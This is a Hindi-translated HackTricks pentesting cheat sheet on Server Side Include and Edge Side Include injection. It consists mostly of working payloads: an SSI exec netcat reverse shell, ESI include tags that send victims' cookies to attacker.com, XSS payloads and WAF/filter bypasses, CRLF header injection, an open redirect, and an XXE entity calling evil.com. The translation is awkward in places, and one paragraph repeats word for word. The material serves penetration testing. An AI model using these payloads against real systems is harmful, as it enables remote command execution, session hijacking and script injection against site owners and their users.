hacktricks/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

22 KiB

सर्वर साइड सम्मिलन / एज साइड सम्मिलन इंजेक्शन

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

सर्वर साइड सम्मिलन मूल जानकारी

SSI (Server Side Includes) निर्देशिकाएं हैं जो HTML पेज में रखी जाती हैं, और सर्वर पर मूल्यांकन किए जाते हैं जब पेज सेवा की जा रही होती हैं। इन्हें आप मौजूदा HTML पेज में नामित कर सकते हैं, जैसे:

<!--#echo var="DATE_LOCAL" -->

और, जब पेज सेवा की जाती है, इस टुकड़े को मूल्यांकन किया जाएगा और इसके मूल्य से बदल जाएगा:

Tuesday, 15-Jan-2013 19:28:54 EST

SSI का उपयोग कब करना है और कब किसी कार्यक्रम द्वारा पूरा पेज उत्पन्न करना है, यह आमतौर पर पेज कितना स्थिर है और पेज सेवा होने पर हर बार कितना पुनर्गणन करने की आवश्यकता होती है के आधार पर निर्णय किया जाता है। SSI एक छोटे टुकड़ों की जानकारी जोड़ने का एक बहुत अच्छा तरीका है, जैसे कि वर्तमान समय - ऊपर दिखाया गया है। लेकिन यदि आपके पेज का अधिकांश हिस्सा सेवा की जाने वाली समय पर उत्पन्न हो रहा है, तो आपको किसी अन्य समाधान की तलाश करनी चाहिए। (परिभाषा यहां से ली गई है)।

आप यह जान सकते हैं कि SSI की उपस्थिति है यदि वेब एप्लिकेशन .shtml, .shtm या .stm नामक एक्सटेंशन वाले फ़ाइलों का उपयोग करती है, लेकिन यह केवल एक मामला नहीं है।

एक साधारित SSI अभिव्यक्ति का निम्नलिखित प्रारूप होता है:

<!--#directive param="value" -->

जांच करें

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

एज साइड इनक्लूजन

यहां एक समस्या है जानकारी कैशिंग या गतिशील एप्लिकेशन के रूप में जो सामग्री का हिस्सा हो सकता है, उसका परिवर्तित हो सकता है जब सामग्री अगली बार प्राप्त की जाती है। यही कारण है कि ESI का उपयोग किया जाता है, ESI टैग का उपयोग करके गतिशील सामग्री को उत्पन्न करने की आवश्यकता को दर्शाने के लिए कैश संस्करण भेजने से पहले।
यदि एक हमलावर कैश सामग्री में ESI टैग को इंजेक्ट करने में सक्षम होता है, तो उसे उपयोगकर्ताओं को भेजने से पहले दस्तावेज़ पर अनियमित सामग्री को इंजेक्ट करने की क्षमता हो सकती है।

ESI पता लगाना

निम्नलिखित हेडर से पता चलता है कि सर्वर ESI का उपयोग कर रहा है:

Surrogate-Control: content="ESI/1.0"

यदि आप इस हैडर को नहीं ढूंढ सकते हैं, तो सर्वर शायद ESI का उपयोग कर रहा हो सकता है।
एक अंधा शोधन दृष्टिकोण भी उपयोग किया जा सकता है क्योंकि एक अनुरोध हमलावरों के सर्वर पर पहुंचना चाहिए:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI शोषण

GoSecure ने एक तालिका बनाई है जो हमें समझने में मदद करेगी कि हम किसी भी ESI-सक्षम सॉफ़्टवेयर के खिलाफ किन संभावित हमलों का प्रयास कर सकते हैं, जो कि समर्थित विभिन्न कार्यक्षमता पर निर्भर करेगा। नीचे दी गई तालिका के स्तंभ नामों के बारे में हम कुछ स्पष्टीकरण प्रदान करेंगे:

  • Includes: <esi:includes> निर्देशिका का समर्थन करता है
  • Vars: <esi:vars> निर्देशिका का समर्थन करता है। XSS फ़िल्टर को उम्मीदवार करने के लिए उपयोगी है
  • Cookie: दस्तावेज़ कुकीज़ ESI इंजन के लिए पहुँचने योग्य हैं
  • Upstream Headers Required: यदि अपस्ट्रीम एप्लिकेशन हेडर प्रदान नहीं करता है, तो सरोगेट एप्लिकेशन ESI विधानों को प्रसंस्करण नहीं करेगा
  • Host Whitelist: इस मामले में, ESI समावेश केवल अनुमति प्राप्त सर्वर होस्ट से संभव हैं, जिससे SSRF, उदाहरण के लिए, केवल उन होस्ट के खिलाफ संभव हैं
सॉफ़्टवेयर Includes Vars Cookies Upstream Headers Required Host Whitelist
Squid3 हाँ हाँ हाँ हाँ नहीं
Varnish Cache हाँ नहीं नहीं हाँ हाँ
Fastly हाँ नहीं नहीं नहीं हाँ
Akamai ESI Test Server (ETS) हाँ हाँ हाँ नहीं नहीं
NodeJS esi हाँ हाँ हाँ नहीं नहीं
NodeJS nodesi हाँ नहीं नहीं नहीं वैकल्पिक

XSS

निम्नलिखित ESI निर्देशिका सर्वर के प्रतिक्रिया में एक विचित्र फ़ाइल लोड करेगी।

<esi:include src=http://attacker.com/xss.html>

फ़ाइल http://attacker.com/xss.html में <script>alert(1)</script> जैसे XSS पेलोड हो सकता है।

क्लाइंट XSS सुरक्षा को बाईपास करें

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

कुकी चोरी करें

  • दूरस्थ कुकी चोरी
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • XSS के माध्यम से प्रतिक्रिया में उसे प्रतिबिंबित करके HTTP_ONLY कुकी चुराएं:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->
  • पूर्ण खाता हासिल करना कुकीज़ को प्रतिबिंबित करके

निजी स्थानीय फ़ाइल

इसे "स्थानीय फ़ाइल सम्मिलन" से गलती से न गिनें:

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed) एक विशेष वर्णक्रम है जो टेक्स्ट फ़ाइलों में नए पंक्तियों को अलग करने के लिए उपयोग होता है। CRLF एक विशेष स्थानांतरण वर्णक्रम है जिसमें पहले कार्यक्षेत्र वापस जाता है और फिर नया पंक्ति शुरू होती है। यह वर्णक्रम वेब अनुरोधों में भी उपयोग होता है, जहां यह अनुरोध शीर्षक और शरीर के बीच एक रिक्त स्थान बनाने के लिए उपयोग किया जाता है।

एक CRLF अद्यतन के द्वारा, एक हमलावर एक वेब अनुरोध में अतिरिक्त हेडर्स जोड़ सकता है और इसे अपनी इच्छानुसार संशोधित कर सकता है। इसका उपयोग करके, एक हमलावर अपने अनुरोध को बदल सकता है और उपयोगकर्ता के द्वारा अपेक्षित परिणाम प्राप्त करने के लिए अतिरिक्त जानकारी प्राप्त कर सकता है।

एक CRLF अद्यतन के द्वारा, एक हमलावर एक वेब अनुरोध में अतिरिक्त हेडर्स जोड़ सकता है और इसे अपनी इच्छानुसार संशोधित कर सकता है। इसका उपयोग करके, एक हमलावर अपने अनुरोध को बदल सकता है और उपयोगकर्ता के द्वारा अपेक्षित परिणाम प्राप्त करने के लिए अतिरिक्त जानकारी प्राप्त कर सकता है।

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

ओपन रीडायरेक्ट

निम्नलिखित उत्तर में Location हेडर जोड़ देगा।

<!--esi $add_header('Location','http://attacker.com') -->

हेडर जोड़ें

  • बलवान अनुरोध में हेडर जोड़ें
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • उत्तर में हेडर जोड़ें (एक ऐसे प्रतिक्रिया में "Content-Type: text/json" को छलनी करने के लिए उपयोगी)
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

CRLF में हेडर जोड़ें (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

अकामाई डीबग

यह जवाब में शामिल होने वाली डीबग जानकारी भेजेगा:

<esi:debug/>

ESI + XSLT = XXE

यह भी संभव है कि xslt मान को dca पैरामीटर में निर्दिष्ट करके _eXtensible Stylesheet Language Transformations (XSLT)_ ** आधारित ESI इनक्लूड जोड़ा जा सकता है। निम्नलिखित इनक्लूड HTTP सरोगेट को XML और XSLT फ़ाइल का अनुरोध करेगा। फिर XSLT फ़ाइल का उपयोग XML फ़ाइल को फ़िल्टर करने के लिए किया जाता है। इस XML फ़ाइल का उपयोग XML External Entity (XXE) हमलों को करने के लिए किया जा सकता है। यह हमलावर्तियों को SSRF हमले करने की अनुमति देता है, जो बहुत उपयोगी नहीं है क्योंकि इसे ESI इनक्लूड के माध्यम से किया जाना चाहिए, जो खुद एक SSRF वेक्टर है। बाहरी DTDs को पार्स नहीं किया जाता है क्योंकि इसके पीछे की पुस्तकालय (Xalan) में इसके लिए कोई समर्थन नहीं है। इसका मतलब है कि हम स्थानीय फ़ाइलों को निकाल नहीं सकते हैं।

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

एक्सएसएलटी फ़ाइल:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

एक्सएसएलटी पेज की जांच करें:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}

संदर्भ

ब्रूट-फोर्स डिटेक्शन सूची

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥